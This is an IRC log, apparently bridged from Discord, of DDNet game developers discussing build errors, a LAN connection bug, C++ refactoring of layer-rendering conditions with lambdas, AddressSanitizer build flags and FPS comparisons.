00:00 < bridge_> Also, if you look into the `CMakeError.log` it says for almost every configure step: 00:00 < bridge_> ``` 00:00 < bridge_> error: data does not exist 00:00 < bridge_> em++: error: '/emsdk/upstream/emscripten/tools/file_packager cmTC_83f35.data --from-emcc --preload data' failed (returned 1) 00:00 < bridge_> ``` 00:00 < bridge_> Seems like all of the configure checks fail and then it falls back to some defaults, which might explain why it takes so long 01:03 < ws-client> if my dummy and i both spectate different tees do both tees get thier viewer increased? 01:04 < ws-client> isnt that verifirably scam numbers? 01:06 < bridge_> yes, because server doesnt know who owns the dummy 01:07 < ws-client> Today at 18:53 01:07 < ws-client> @learath2 01:07 < ws-client> > ChillerDragon you had a teeworlds/ddnet packet decoder somewhere, where? 01:08 < ws-client> web version is at https://twnet.zillyhuhn.com/ 01:09 < ws-client> it eats a few formats like python hex strings and C hex arrays or tcpdumps but its backend is twnet_parser which does not support ddnet ex messages so libtw2 wireshark is more feature rich 01:09 < ws-client> if the irc bot is online you can also do !p here but i think it has trouble connecting to irc 01:09 < ws-client> !ping 01:24 < ws-client> @kebscs oh right we should do issue about that 01:24 < ws-client> aaaa #9515 01:24 < ws-client> how to connect to irc? 01:59 < bridge_> @teero777 come voice 02:00 < bridge_> :justatest: 02:19 < bridge_> discord chiller dragon jumpscare 02:45 < bridge_> https://cdn.discordapp.com/attachments/781552659709820958/1359568677271240867/image.png?ex=67f7f480&is=67f6a300&hm=416ba7a17f583aebe56d6be7c99b9dfd15ba941dc56e4db160a55418eb426ec3& 02:45 < bridge_> Some Durák anyone? :p 02:49 < bridge_> @jupeyy_keks hows ddnet rs 02:49 < bridge_> u put any time into it lately 03:18 < bridge_> wow cool 03:18 < bridge_> when texas hold em? 04:23 < bridge_> wait I didn’t see this 04:23 < bridge_> looks sick 05:42 < bridge_> it's been 1 year since i ported ddnet to NDS 05:42 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359735315610210457/image-3.png?ex=67f88fb1&is=67f73e31&hm=ad8a7e80d5397b6ea9527613df0cec8efbb115561da9cb1acec5fecd905de39b& 07:02 < bridge_> Mh too bad that debugging this sounds so hard 07:03 < bridge_> I'm working on the editor 07:03 < bridge_> Is it the most selling game for nds already? 07:21 < bridge_> .... 07:21 < bridge_> Man 07:40 < bridge_> sold more than mario kart ds 07:40 < bridge_> :troll: 08:20 < bridge_> morning 08:55 < bridge_> good morning! 08:56 < bridge_> would this be readable code to you?: 08:56 < bridge_> ``` 08:56 < bridge_> switch(LayerType): 08:56 < bridge_> { 08:56 < bridge_> ... 08:56 < bridge_> case LAYER_GAME: 08:56 < bridge_> RenderKillTileBorder(TileLayerCounter - 1, Color.Multiply(GetDeathBorderColor())); 08:56 < bridge_> case LAYER_FRONT: 08:56 < bridge_> case LAYER_TUNE: 08:56 < bridge_> default: 08:56 < bridge_> RenderTileLayer(TileLayerCounter - 1, Color); 08:56 < bridge_> break; 08:56 < bridge_> } 08:56 < bridge_> } 08:56 < bridge_> ``` 08:59 < bridge_> wait you can render to the same layer index 🤔 09:40 < bridge_> sick 09:43 < bridge_> @robyt3 something is broken in master, I currently can't connect to LAN servers, the IP is scuffed: 09:43 < bridge_> most certainly any maplayer changes didn't cause this 09:43 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359796002948911104/screenshot_2025-04-10_09-42-46.png?ex=67f8c836&is=67f776b6&hm=ad7bdfb5193bb77179da7dfa90dd62eb330a733b85b81ad6961af7ff34b60928& 09:44 < bridge_> most certainly no maplayer changes caused this 09:44 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359796002948911104/screenshot_2025-04-10_09-42-46.png?ex=67f8c836&is=67f776b6&hm=ad7bdfb5193bb77179da7dfa90dd62eb330a733b85b81ad6961af7ff34b60928& 09:48 < bridge_> @robyt3 something is broken in master, I currently can't connect by clicking to LAN servers, the IP is scuffed: 09:51 < bridge_> A wild guess, but it's probably coming from #10044 09:51 < bridge_> https://github.com/ddnet/ddnet/pull/10044 09:52 < bridge_> ``` 09:52 < bridge_> net_addr_str(&pAddrs[i], aIpAddr, sizeof(aIpAddr), true); 09:52 < bridge_> str_append(pBuffer, aIpAddr, BufferSize); 09:52 < bridge_> ``` 10:50 < bridge_> @learath2 I'm thinking about how to lower globals. The problem is that there can be cycles, for example: 10:50 < bridge_> ```rust 10:50 < bridge_> const A: usize = B; 10:50 < bridge_> const B: usize = A; 10:50 < bridge_> ``` 10:50 < bridge_> I've come up with dis: 10:50 < bridge_> ```rust 10:50 < bridge_> let mut variables: Vec<&Variable> = ...; 10:50 < bridge_> 10:50 < bridge_> loop { 10:50 < bridge_> let mut progress = false; 10:50 < bridge_> 10:50 < bridge_> variables.retain(|variable| { 10:50 < bridge_> if can_be_processed(variable) { 10:50 < bridge_> ... 10:50 < bridge_> progress = true; 10:50 < bridge_> 10:50 < bridge_> false 10:50 < bridge_> } else { 10:50 < bridge_> true 10:50 < bridge_> } 10:50 < bridge_> }); 10:50 < bridge_> 10:51 < bridge_> if !progress { 10:51 < bridge_> break 10:51 < bridge_> } 10:51 < bridge_> } 10:51 < bridge_> 10:51 < bridge_> if !variables.empty() { 10:51 < bridge_> panic!("Polundra!!!!"); 10:51 < bridge_> } 10:52 < bridge_> Don't allow cycles? 10:54 < bridge_> They are not allowed 10:55 < bridge_> Then why does this need any special handling? Didn't you already solve this problem for normal scoped variables? 10:57 < bridge_> I rewrote ir and symbol table stuff and now some things are broken 10:58 < bridge_> Globals are different because 10:58 < bridge_> ```rust 10:58 < bridge_> const A: usize = B; 10:58 < bridge_> const B: usize = 0x45; 10:58 < bridge_> ``` 10:58 < bridge_> is a valid code 10:59 < bridge_> Fwiw, I wouldn't allow that just to make it easy to parse 11:01 < bridge_> I guess what you wrote is fine. It is technically guaranteed that you can solve this sort of thing in 2 passes, that's what I would do, order the globals first such that dependents are after what they depend on 11:04 < bridge_> Btw I'm thinking about adding a new keyword for declaring globals 11:04 < bridge_> Why waste a keyword for what is obvious from position? 11:05 < bridge_> It'd only be worth if you are planning on something like php 11:08 < bridge_> It will be interesting to see how different the assembly will be when it's generated using codegen in my compiler repo vs compiler backend 11:32 < bridge_> has anybody a better idea for this data structure in a loop? 11:32 < bridge_> ``` 11:32 < bridge_> // stop rendering if we render background but reach the foreground 11:32 < bridge_> if(PassedGameLayer && (m_Type == TYPE_BACKGROUND || m_Type == TYPE_BACKGROUND_FORCE)) 11:32 < bridge_> return; 11:32 < bridge_> 11:32 < bridge_> // skip rendering if we render foreground but are in background 11:32 < bridge_> if(!PassedGameLayer && m_Type == TYPE_FOREGROUND) 11:32 < bridge_> continue; 11:32 < bridge_> 11:32 < bridge_> // skip rendering if we render background force, but deactivated tile layer and want to render a tilelayer 11:32 < bridge_> if((pLayer->m_Type == LAYERTYPE_TILES && !g_Config.m_ClBackgroundShowTilesLayers) && m_Type == TYPE_BACKGROUND_FORCE) 11:32 < bridge_> continue; 11:32 < bridge_> 11:32 < bridge_> // skip rendering if we render background but encounter an entity, e.g. speed layer infront of game layer or similar 11:32 < bridge_> if(m_Type == TYPE_BACKGROUND_FORCE && IsEntityLayer) 11:32 < bridge_> continue; 11:32 < bridge_> 11:32 < bridge_> // skip rendering entities if we want to render everything in it's full glory 11:32 < bridge_> if(m_Type == TYPE_FULL_DESIGN && IsEntityLayer) 11:32 < bridge_> continue; 11:32 < bridge_> 11:32 < bridge_> int EntityOverlayVal = g_Config.m_ClOverlayEntities; 11:32 < bridge_> // Hide Entities 11:32 < bridge_> if(m_Type == TYPE_FULL_DESIGN) 11:32 < bridge_> EntityOverlayVal = 0; 11:32 < bridge_> 11:33 < bridge_> // skip rendering anything but entities if we only want to render entities 11:33 < bridge_> if(!IsEntityLayer && EntityOverlayVal == 100 && m_Type != TYPE_BACKGROUND_FORCE) // only show entities 11:33 < bridge_> continue; 11:33 < bridge_> ``` 11:33 < bridge_> Yes I can chain them all into 1 if case with OR 11:33 < bridge_> Yes I can chain them all into 1 if case with OR, doesn't make it any readable 11:36 < bridge_> @essigautomat there seems to be alot of dependencies, you could try to get rid of them 11:36 < bridge_> (eg EntityOverlayVal = 0; effects the next condition) 11:37 < bridge_> yes I sorted them, as we want to exit as early as possible 11:37 < bridge_> EntityOverlayVal = 0 also affects unskipped code after that 11:38 < bridge_> also i do think making it one big if for return and continue 11:38 < bridge_> is cleaner than it is now 11:38 < bridge_> I asked chatgpt, it suggests adding 2 functions: 11:38 < bridge_> if(ShouldStopRendering(PassedGameLayer, m_Type)) 11:38 < bridge_> return; 11:38 < bridge_> 11:38 < bridge_> if(ShouldSkipRendering(PassedGameLayer, m_Type, pLayer, IsEntityLayer)) 11:38 < bridge_> continue; 11:38 < bridge_> ehhh 11:38 < bridge_> ``` 11:38 < bridge_> if(ShouldStopRendering(PassedGameLayer, m_Type)) 11:38 < bridge_> return; 11:39 < bridge_> 11:39 < bridge_> if(ShouldSkipRendering(PassedGameLayer, m_Type, pLayer, IsEntityLayer)) 11:39 < bridge_> continue; 11:39 < bridge_> ``` 11:39 < bridge_> you can have the comments before each part 11:39 < bridge_> outlining it means you have to jump away to read it 11:39 < bridge_> you can maybe use lambdas so you dont have to pass in anything 11:40 < bridge_> I don't think, that lambdas make this any cleaner, or moving this into a function, as it still contains the same code 11:40 < bridge_> some people (and probably clang tidy) have something to say about huge if statements 11:41 < bridge_> clang format does this to if statements and i hate it 11:41 < bridge_> 11:41 < bridge_> ```cpp 11:41 < bridge_> if(a && b && c 11:41 < bridge_> && d && e 11:41 < bridge_> && f) 11:41 < bridge_> ``` 11:41 < bridge_> it should be 11:41 < bridge_> ```cpp 11:41 < bridge_> if ( 11:41 < bridge_> a && b && c && 11:41 < bridge_> d && ee && 11:41 < bridge_> f 11:41 < bridge_> ) 11:41 < bridge_> ``` 11:41 < bridge_> imo 11:41 < bridge_> and also putting comments into there is harder in the first 11:42 < bridge_> ```cpp 11:42 < bridge_> // comment a && b && c 11:42 < bridge_> if(a && b && c 11:42 < bridge_> // comment d && e 11:42 < bridge_> && d && e 11:42 < bridge_> // comment f 11:42 < bridge_> && f) 11:42 < bridge_> ``` 11:42 < bridge_> ```cpp 11:42 < bridge_> if ( 11:42 < bridge_> // comment a && b && c 11:42 < bridge_> a && b && c && 11:42 < bridge_> // comment d && e 11:42 < bridge_> d && e && 11:42 < bridge_> // comment f 11:42 < bridge_> f 11:42 < bridge_> ) 11:43 < bridge_> ``` 11:43 < bridge_> you dont have to worry about that if you use a func 11:43 < bridge_> or lambda 11:43 < bridge_> you can make it directly use "return" there but yes 11:43 < bridge_> and you can put the lambda really close to the usage so you dont jump away that far 11:43 < bridge_> (could be right next to it) 11:43 < bridge_> no, you'd want to put it outside of the loop, which is really far 11:44 < bridge_> why 11:44 < bridge_> the compiler will make it static 11:44 < bridge_> (or you can specify that its static now) 11:45 < bridge_> (I didn't know that static lambdas are a thing) 11:46 < bridge_> in c you can write function definitions in functions and they are equivilant to static lambdas 11:46 < bridge_> (that they are scoped functions which know about the scoped variables) 11:47 < bridge_> (theres not actually anything stopping functions anywhere from reading the stack like a static lambda) 11:48 < bridge_> (eh... its like passing a reference but its always the same offset in the stack) 11:48 < bridge_> (im waffling out my ass) 11:48 < bridge_> most lambdas can be static 11:48 < bridge_> the functions in functions is a gcc extension 11:49 < bridge_> I was just about to say that's non-standard 11:50 < bridge_> yeah but its bloody useful 11:50 < bridge_> wait you can also have non static functions in functions 11:50 < bridge_> they are just c lambdas 11:50 < bridge_> the compiler will complain about them since it requires making the stack executable (which is a vulnrability) 11:57 < bridge_> uhh 11:57 < bridge_> ``` 11:57 < bridge_> static auto SkipRendering = [this, &PassedGameLayer, &pLayer, &IsEntityLayer, &EntityOverlayVal]() -> bool { 11:57 < bridge_> return ( 11:57 < bridge_> // skip rendering if we render foreground but are in background 11:57 < bridge_> (!PassedGameLayer && m_Type == TYPE_FOREGROUND) || 11:57 < bridge_> 11:57 < bridge_> // skip rendering if we render background force, but deactivated tile layer and want to render a tilelayer 11:58 < bridge_> ((pLayer->m_Type == LAYERTYPE_TILES && !g_Config.m_ClBackgroundShowTilesLayers) && m_Type == TYPE_BACKGROUND_FORCE) || 11:58 < bridge_> 11:58 < bridge_> // skip rendering if we render background but encounter an entity, e.g. speed layer infront of game layer or similar 11:58 < bridge_> (m_Type == TYPE_BACKGROUND_FORCE && IsEntityLayer) || 11:58 < bridge_> 11:58 < bridge_> // skip rendering entities if we want to render everything in it's full glory 11:58 < bridge_> (m_Type == TYPE_FULL_DESIGN && IsEntityLayer) || 11:58 < bridge_> 11:58 < bridge_> // skip rendering anything but entities if we only want to render entities 11:58 < bridge_> (!IsEntityLayer && EntityOverlayVal == 100 && m_Type != TYPE_BACKGROUND_FORCE) // only show entities 11:58 < bridge_> ); 11:58 < bridge_> }; 11:58 < bridge_> 11:58 < bridge_> if(SkipRendering()) 11:58 < bridge_> continue; 11:58 < bridge_> ``` 11:58 < bridge_> 11:58 < bridge_> `Segmentation fault` hmm 11:58 < bridge_> but cpp doesnt complain, maybe theres a way to do non static lambdas without having an executable stack (ie copying the function) 11:58 < bridge_> cant you just do [&] and it will capture verything it needs, and since your in a function you can seperate it out into if statemetns again 11:58 < bridge_> also use libasan c: 11:59 < bridge_> probably not possible to use it directly out of the ddnet project? :/ 11:59 < bridge_> very possible 12:00 < bridge_> its on the readme on how to use it 12:00 < bridge_> ill writ ethe commands i use 12:01 < bridge_> ```cpp 12:01 < bridge_> CC=clang CXX=clang++ CXXFLAGS="-fsanitize=address,undefined -fsanitize-recover=all -fno-omit-frame-pointer" CFLAGS="-fsanitize=address,undefined -fsanitize-recover=all -fno-omit-frame-pointer" cmake -DCMAKE_BUILD_TYPE=Debug .. -GNinja 12:01 < bridge_> cmake --build . 12:01 < bridge_> UBSAN_OPTIONS=print_stacktrace=1:halt_on_errors=0 ASAN_OPTIONS=print_stacktrace=1:check_initialization_order=1:detect_leaks=1:halt_on_errors=0 ./DDNet 12:01 < bridge_> ``` 12:01 < bridge_> Do you not test with asan? 12:02 < bridge_> I am happy to be able to compile in the first place on this windows machine 12:03 < bridge_> You can have asan on windows nowadays but iirc it was annoying 12:04 < bridge_> Just use WSL 12:07 < bridge_> Or msys2 12:08 < bridge_> msvc has asan 12:08 < bridge_> :pog: 12:08 < bridge_> https://learn.microsoft.com/en-us/cpp/sanitizers/asan?view=msvc-170 12:10 < bridge_> @sollybunny adding an argument for everything and not adding to the lambda reference list works 12:10 < bridge_> might be an issue with static lambdas and references I guess 12:11 < bridge_> Copy everything 😄 12:12 < bridge_> it boils down to `(int m_Type, bool PassedGameLayer, int LayerType, bool IsEntityLayer, int EntityOverlayVal)` anyway 12:12 < bridge_> references are not that useful here anyway xD 12:15 < bridge_> are you happy with this? 12:15 < bridge_> ``` 12:15 < bridge_> static auto SkipRendering = [](int RenderType, bool PassedGameLayer, int ItemLayerType, bool IsEntityLayer, int EntityOverlayVal) -> bool { 12:15 < bridge_> return ( 12:15 < bridge_> // skip rendering if we render foreground but are in background 12:15 < bridge_> (!PassedGameLayer && RenderType == TYPE_FOREGROUND) || 12:15 < bridge_> 12:15 < bridge_> // skip rendering if we render background force, but deactivated tile layer and want to render a tilelayer 12:15 < bridge_> ((ItemLayerType == LAYERTYPE_TILES && !g_Config.m_ClBackgroundShowTilesLayers) && RenderType == TYPE_BACKGROUND_FORCE) || 12:15 < bridge_> 12:15 < bridge_> // skip rendering if we render background but encounter an entity, e.g. speed layer infront of game layer or similar 12:15 < bridge_> (RenderType == TYPE_BACKGROUND_FORCE && IsEntityLayer) || 12:15 < bridge_> 12:15 < bridge_> // skip rendering entities if we want to render everything in it's full glory 12:15 < bridge_> (RenderType == TYPE_FULL_DESIGN && IsEntityLayer) || 12:15 < bridge_> 12:15 < bridge_> // skip rendering anything but entities if we only want to render entities 12:15 < bridge_> (!IsEntityLayer && EntityOverlayVal == 100 && RenderType != TYPE_BACKGROUND_FORCE) // only show entities 12:15 < bridge_> ); 12:15 < bridge_> }; 12:15 < bridge_> 12:15 < bridge_> if(SkipRendering(m_Type, PassedGameLayer, pLayer->m_Type, IsEntityLayer, EntityOverlayVal)) 12:15 < bridge_> continue; 12:15 < bridge_> ``` 12:15 < bridge_> are you happy with this? 12:15 < bridge_> ```C++ 12:15 < bridge_> static auto SkipRendering = [](int RenderType, bool PassedGameLayer, int ItemLayerType, bool IsEntityLayer, int EntityOverlayVal) -> bool { 12:16 < bridge_> return ( 12:16 < bridge_> // skip rendering if we render foreground but are in background 12:16 < bridge_> (!PassedGameLayer && RenderType == TYPE_FOREGROUND) || 12:16 < bridge_> 12:16 < bridge_> // skip rendering if we render background force, but deactivated tile layer and want to render a tilelayer 12:16 < bridge_> ((ItemLayerType == LAYERTYPE_TILES && !g_Config.m_ClBackgroundShowTilesLayers) && RenderType == TYPE_BACKGROUND_FORCE) || 12:16 < bridge_> 12:16 < bridge_> // skip rendering if we render background but encounter an entity, e.g. speed layer infront of game layer or similar 12:16 < bridge_> (RenderType == TYPE_BACKGROUND_FORCE && IsEntityLayer) || 12:16 < bridge_> 12:16 < bridge_> // skip rendering entities if we want to render everything in it's full glory 12:16 < bridge_> (RenderType == TYPE_FULL_DESIGN && IsEntityLayer) || 12:16 < bridge_> 12:16 < bridge_> // skip rendering anything but entities if we only want to render entities 12:16 < bridge_> (!IsEntityLayer && EntityOverlayVal == 100 && RenderType != TYPE_BACKGROUND_FORCE) // only show entities 12:24 < bridge_> I'm not happy that you didn't figure out why you couldn't just capture 12:25 < bridge_> But that's just my personal pet peeve. I'm sure you can get this through review 12:26 < bridge_> I asked Robyt directly in the PR, as I am certain he has to say something constructive 12:27 < bridge_> also I moved the EntitieyOverlayVal completly out of the loops, as it doesn't need to be recalculated for every tilelayer 😄 12:27 < bridge_> also I moved the EntitieyOverlayVal completly out of the loop, as it doesn't need to be recalculated for every tilelayer 😄 12:28 < bridge_> @chillerdragon when vc again 12:29 < bridge_> Fwiw I like it as is too, without the lambda at all. So that's also an option 12:32 < bridge_> I compared fps with 19.1 now and I have less ... 12:32 < bridge_> (╯°□°)╯︵ ┻━┻ 12:32 < bridge_> And I don't think it's about the lambda 12:37 < bridge_> I am curious how you measure it anyway. 12:37 < bridge_> I doubt you can even create a CPU bottleneck on a laptop 12:38 < bridge_> comparing to the latest master shows no difference to my branch, so it might be one of my previous changes 12:39 < bridge_> I am comparing over cpu heavy map parts with a lot of animations, in an empty map my benchmarks get useless 12:43 < bridge_> On DDNet? 12:43 < bridge_> CPU is definitely the bottleneck 12:43 < bridge_> And how if you look at a part full of animations, should the lambda even pop up? 12:43 < bridge_> But not on a laptop 12:43 < bridge_> Ehhh 12:44 < bridge_> Depends what laptop 12:44 < bridge_> Okay, checking out tag 19.1, building it myself and comparing leads to different results 12:44 < bridge_> But the graphics that DDNet is doing is... Not alot 12:44 < bridge_> Do you want to tell me there is any modern CPU that cannot calculate ddnet more than 700 times per second? 12:44 < bridge_> Or I guess there's lots of immediate mode graphics 12:44 < bridge_> I mean with 64p or smth ok 12:44 < bridge_> so I actually improve FPS comparing like this, but compared to the ddnet download of 19.1 I have, I have less fps 12:44 < bridge_> @jupeyy_keks did u try wasm with cpp, also what runtime do u uuse? wasmer? 12:45 < bridge_> I did not. Yes wasmer 12:45 < bridge_> wasmer has cpp header iirc 12:45 < bridge_> i thought about trying ur plugable physics in the ddnet code inspired by ur ddnet rs 12:45 < bridge_> breaking protocol ofc 12:45 < bridge_> i thought about trying to impl ur plugable physics in the ddnet code inspired by ur ddnet rs 12:46 < bridge_> The reason why I like Rust here is simply proc macros. 12:46 < bridge_> 12:46 < bridge_> They automatically implement the whole wasm bridge and for you as dev it feels like you simply implemented Rust <-> Rust trait 12:46 < bridge_> You don't even see the wasm details 12:46 < bridge_> hmm 12:46 < bridge_> maybe make the interaction with wasm in rust 12:46 < bridge_> and a interface to manage this from cpp from exisiting code idk 12:46 < bridge_> or just contribute to ddnet rs 12:47 < bridge_> idk what to do 12:47 < bridge_> i was just bored and thought why not 12:47 < bridge_> xd 12:47 < bridge_> 12:47 < bridge_> write legacy bridge 12:47 < bridge_> xd 12:47 < bridge_> when quic 12:47 < bridge_> cpp quic 12:48 < bridge_> yeah go go go 12:48 < bridge_> we so close and so far from accounts 12:48 < bridge_> You have all my mental support for that 12:48 < bridge_> xd 12:48 < bridge_> i got the whole week off next week 12:49 < bridge_> I mean you could write a QUIC impl in 1 week. 12:49 < bridge_> If you go serious mode 12:49 < bridge_> In worst case you could simply write a wrapper around our UDP impl 12:51 < bridge_> but isnt there heinrich work 12:51 < bridge_> i meant that 12:51 < bridge_> You can also try to get his work ready 12:56 < bridge_> @jupeyy_keks saw this in hn https://spacetimedb.com/ 12:58 < bridge_> funny, but yeah. cheating, spamming, griefing guaranteed xd 12:59 < bridge_> wot 12:59 < bridge_> xd 13:00 < bridge_> without a server instance there is basically nothing holding the clients back to write whatever gamestate they want 13:19 < bridge_> most p2p things have a host still which is running the "server"? 13:19 < bridge_> the server can still check for cheating 13:19 < bridge_> and for games with demos you can then verify them afterwards 13:19 < bridge_> (eg forts) 13:21 < bridge_> I dunno, I don't believe in their concept xD 13:21 < bridge_> I have a question, might be stupid: Why is building myself in release mode slower, then the download from ddnet? AFAIK it's the same config 13:21 < bridge_> having easy no setup p2p is very good for non competative things 13:22 < bridge_> Do you compile with gcc? 13:22 < bridge_> +1 my builds are slower 13:22 < bridge_> Yeah but it's like with many frameworks. It sounds easy until you notice it's hard to work around certain aspects 13:22 < bridge_> for the things i often want p2p for, literally just having what they show on their main page is enough 13:23 < bridge_>